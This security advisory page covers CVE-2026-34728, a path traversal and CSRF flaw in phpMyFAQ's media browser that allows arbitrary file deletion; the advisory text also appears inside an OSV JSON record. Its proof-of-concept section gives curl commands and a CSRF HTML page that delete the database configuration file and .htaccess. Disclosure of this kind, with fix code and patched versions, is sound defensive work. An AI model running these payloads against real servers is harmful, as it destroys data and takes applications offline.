CVE-2026-34728: phpMyFAQ Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-38m8-xrfj-v38x
CVSS 8.7
CWE-22
Published
Advisory Summary

CVE-2026-34728 is a HIGH (CVSS 8.7) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting phpMyFAQ libraries in the Packagist ecosystem. The issue involves path traversal - arbitrary file deletion in mediabrowsercontroller. Remediation is available by upgrading affected packages to version 4.1.1.

CVE-2026-34728 at a Glance

CVE Identifier CVE-2026-34728
GHSA Identifier GHSA-38m8-xrfj-v38x
Severity HIGH
CVSS v3.1 Base Score 8.7
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product phpMyFAQ
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-34728

To remediate this vulnerability, upgrade all affected phpMyFAQ dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phpmyfaq/phpmyfaq fixed: 4.1.1
Upgrade phpmyfaq/phpmyfaq to 4.1.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phpmyfaq/phpmyfaq

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34728, inspect your project dependencies for phpMyFAQ:

inspect dependencies for phpmyfaq/phpmyfaq

Analyze the terminal output to locate any version of phpMyFAQ in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In phpMyFAQ, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`&`, `'`, `"`, `<`, `>`) and characters with ASCII value < 32, and does not prevent directory traversal sequences like `../`. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. ### Details **Affected File:** `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php` **Lines 43-66:** ```php #[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])] public function index(Request $request): JsonResponse|Response { $this->userHasPermission(PermissionType::FAQ_EDIT); // ... $data = json_decode($request->getContent()); $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS); if ($action === 'fileRemove') { $file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS); $file = PMF_CONTENT_DIR . '/user/images/' . $file; if (file_exists($file)) { unlink($file); } // Returns success without checking if deletion was within intended directory } } ``` **Root Causes:** 1. **No path traversal prevention:** `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters. 2. **No CSRF protection:** The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48. 3. **No basename() or realpath() validation:** The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory. 4. **HTTP method mismatch:** The route is defined as `methods: ['GET']` but reads the request body via `$request->getContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests. **Comparison with secure implementation in the same codebase:** The `ImageController::upload()` method (same directory) properly validates file names: ```php if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) { // Rejects files with path traversal sequences } ``` The `FilesystemStorage::normalizePath()` method also properly validates paths: ```php foreach ($segments as $segment) { if ($segment === '..' || $segment === '') { throw new StorageException('Invalid storage path.'); } } ``` ### PoC **Direct exploitation (requires authenticated admin session):** ```bash # Delete the database configuration file curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=valid_admin_session' \ -d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}' # Delete the .htaccess file to disable Apache security rules curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=valid_admin_session' \ -d '{"action":"fileRemove","name":"../../../.htaccess"}' ``` **CSRF exploitation (attacker hosts this HTML page):** ```html <html> <body> <script> fetch('https://target.example.com/admin/api/media-browser', { method: 'GET', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ action: 'fileRemove', name: '../../../content/core/config/database.php' }), credentials: 'include' }); </script> </body> </html> ``` When an authenticated admin visits the attacker's page, the database configuration file (`database.php`) is deleted, effectively taking down the application. ### Impact - **Server compromise:** Deleting `content/core/config/database.php` causes total application failure (database connection loss). - **Security bypass:** Deleting `.htaccess` or `web.config` can expose sensitive directories and files. - **Data loss:** Arbitrary file deletion on the server filesystem. - **Chained attacks:** Deleting log files to cover tracks, or deleting security configuration files to weaken other protections. ### Remediation 1. **Add path traversal validation:** ```php if ($action === 'fileRemove') { $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS)); $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file); $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images'); if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) { return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST); } if (file_exists($targetPath)) { unlink($targetPath); } } ``` 2. **Add CSRF protection:** ```php if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) { return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED); } ``` 3. **Change HTTP method to POST or DELETE** to align with proper HTTP semantics.

CVE-2026-34728 Affected phpMyFAQ Versions

1 component(s)
Fixed Versions:
4.1.1
Product / Package Ecosystem Affected Versions Fixed Version
phpmyfaq/phpmyfaq
Packagist
< 4.1.1
4.1.1

References

Frequently Asked Questions

What is CVE-2026-34728?
CVE-2026-34728 is a security vulnerability in phpMyFAQ involving Path Traversal - Arbitrary File Deletion in MediaBrowserController under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which phpMyFAQ versions are affected?
Affected versions include releases prior to 4.1.1 across affected packages: phpmyfaq/phpmyfaq.
What version fixes CVE-2026-34728?
Upgrading to 4.1.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phpmyfaq/phpmyfaq affected?
Yes, phpmyfaq/phpmyfaq is affected in releases prior to 4.1.1. Upgrade your dependency to 4.1.1 or later.
What is the CVSS score of CVE-2026-34728?
CVE-2026-34728 has a CVSS v3.1 base score of 8.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H.
What CWE is associated with CVE-2026-34728?
CVE-2026-34728 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Packagist dependencies for CVE-2026-34728?
Run the dependency tree command: 'inspect dependencies for phpmyfaq/phpmyfaq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-38m8-xrfj-v38x",
  "modified" : "2026-04-06T17:18:35Z",
  "published" : "2026-04-01T22:30:32Z",
  "aliases" : [ "CVE-2026-34728" ],
  "summary" : "phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController",
  "details" : "### Summary\nThe `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`&`, `'`, `\"`, `<`, `>`) and characters with ASCII value < 32, and does not prevent directory traversal sequences like `../`. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php`\n\n**Lines 43-66:**\n```php\n#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]\npublic function index(Request $request): JsonResponse|Response\n{\n    $this->userHasPermission(PermissionType::FAQ_EDIT);\n    // ...\n    $data = json_decode($request->getContent());\n    $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);\n\n    if ($action === 'fileRemove') {\n        $file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);\n        $file = PMF_CONTENT_DIR . '/user/images/' . $file;\n\n        if (file_exists($file)) {\n            unlink($file);\n        }\n        // Returns success without checking if deletion was within intended directory\n    }\n}\n```\n\n**Root Causes:**\n1. **No path traversal prevention:** `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters.\n2. **No CSRF protection:** The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48.\n3. **No basename() or realpath() validation:** The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory.\n4. **HTTP method mismatch:** The route is defined as `methods: ['GET']` but reads the request body via `$request->getContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.\n\n**Comparison with secure implementation in the same codebase:**\n\nThe `ImageController::upload()` method (same directory) properly validates file names:\n```php\nif (preg_match(\"/([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\).])|([\\.]{2,})/\", (string) $file->getClientOriginalName())) {\n    // Rejects files with path traversal sequences\n}\n```\n\nThe `FilesystemStorage::normalizePath()` method also properly validates paths:\n\n```php\nforeach ($segments as $segment) {\n    if ($segment === '..' || $segment === '') {\n        throw new StorageException('Invalid storage path.');\n    }\n}\n```\n\n### PoC\n\n**Direct exploitation (requires authenticated admin session):**\n```bash\n# Delete the database configuration file\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=valid_admin_session' \\\n  -d '{\"action\":\"fileRemove\",\"name\":\"../../../content/core/config/database.php\"}'\n\n# Delete the .htaccess file to disable Apache security rules\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=valid_admin_session' \\\n  -d '{\"action\":\"fileRemove\",\"name\":\"../../../.htaccess\"}'\n```\n\n**CSRF exploitation (attacker hosts this HTML page):**\n```html\n<html>\n<body>\n<script>\nfetch('https://target.example.com/admin/api/media-browser', {\n  method: 'GET',\n  headers: {'Content-Type': 'application/json'},\n  body: JSON.stringify({\n    action: 'fileRemove',\n    name: '../../../content/core/config/database.php'\n  }),\n  credentials: 'include'\n});\n</script>\n</body>\n</html>\n```\n\nWhen an authenticated admin visits the attacker's page, the database configuration file (`database.php`) is deleted, effectively taking down the application.\n\n### Impact\n\n- **Server compromise:** Deleting `content/core/config/database.php` causes total application failure (database connection loss).\n- **Security bypass:** Deleting `.htaccess` or `web.config` can expose sensitive directories and files.\n- **Data loss:** Arbitrary file deletion on the server filesystem.\n- **Chained attacks:** Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.\n\n\n### Remediation\n\n1. **Add path traversal validation:**\n```php\nif ($action === 'fileRemove') {\n    $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));\n    $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);\n    $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');\n\n    if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {\n        return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);\n    }\n\n    if (file_exists($targetPath)) {\n        unlink($targetPath);\n    }\n}\n```\n\n2. **Add CSRF protection:**\n```php\nif (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {\n    return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);\n}\n```\n\n3. **Change HTTP method to POST or DELETE** to align with proper HTTP semantics.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34728"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T22:30:32Z",
    "nvd_published_at" : "2026-04-02T15:16:41Z"
  }
}